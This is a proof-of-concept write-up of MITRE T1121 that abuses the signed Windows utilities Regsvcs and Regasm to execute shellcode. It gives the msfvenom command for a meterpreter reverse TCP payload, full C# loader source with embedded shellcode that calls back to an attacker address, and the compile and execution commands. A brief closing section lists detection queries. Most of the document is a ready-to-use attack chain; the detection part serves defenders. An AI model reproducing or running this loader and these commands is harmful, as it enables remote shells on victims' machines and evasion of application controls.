.NET Exploitation MITRE T1121

Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft.

executing csharp shell codes is possible through regasm and regsvcs , observed that some of new attack were using these Utilities to execute csharp meterpreter or stag less shell codes . the process of generating malicious payload requires some packages to be installed as attacker .

Attacker Requirement :

  • NET Framework development tools

  • Microsoft SDK

  • .NET Desktop Development Environment Package

Proof of Concept :

  1. Launch cmd and CD into C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.7.2 Tools>

  2. Generate sn key pair for signing DLL with cbs

sn.exe -k key.snk

3. copy key.snk into .NET Framwork Directory C:\Windows\Microsoft.NET\Framework\v4.0.30319>

4. CD into C:\Windows\Microsoft.NET\Framework\v4.0.30319>

5. From Attacking machine Generate Meterpreter payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.14 LPORT=4444 -f csharp

6 . copy output content and place it on shell section on the following csharp code by Casey Smith

namespace regsvcser
{
public class Bypass : ServicedComponent
{
public Bypass() { Console.WriteLine("I am a basic COM Object"); }
[ComRegisterFunction] //This executes if registration is successful
public static void RegisterClass ( string key )
{
Console.WriteLine("I shouldn't really execute");
Shellcode.Exec();
}
[ComUnregisterFunction] //This executes if registration fails
public static void UnRegisterClass ( string key )
{
Console.WriteLine("I shouldn't really execute either.");
Shellcode.Exec();
}
}
public class Shellcode
{
public static void Exec()
{
// native function's compiled code
// meterpreter LHOST=192.168.1.14 generated with metasploit
byte[] shellcode = new byte[341] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,
0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0xc0,0xa8,0x01,0x0e,
0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,
0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,
0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67,
0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,
0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,
0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,
0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,
0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,
0x70,0xff,0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,
0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
}
}

7. from CMD execute the following command to generate our malicious Library

csc.exe /r:System.EnterpriseServices.dll /target:library /out:regsvcs.dll /keyfile:key.snk regsvcs.cs

User Side

the execution requirements for this type of attack is .NET framework 4 is installed on Targeted Machine , because the stager requires regasm or regsvcs to execute the payload with following command

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U regsvcs.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U regsvcs.dll

IOCs

cb.urlver=1&q=(process_name:regasm.exe AND modload:mswsock.dll)
cb.urlver=1&q=(process_name:regasm.exe AND cmdline:.dll )
cb.urlver=1&q=(process_name :regasm.exe AND cmdline:/U )
cb.urlver=1&q=(process_name:regsvcs.exe AND modload:mswsock.dll)
cb.urlver=1&q=(process_name:regsvcs.exe AND cmdline:.dll)
cb.urlver=1&q=(process_name :regsvcs.exe AND cmdline:/U )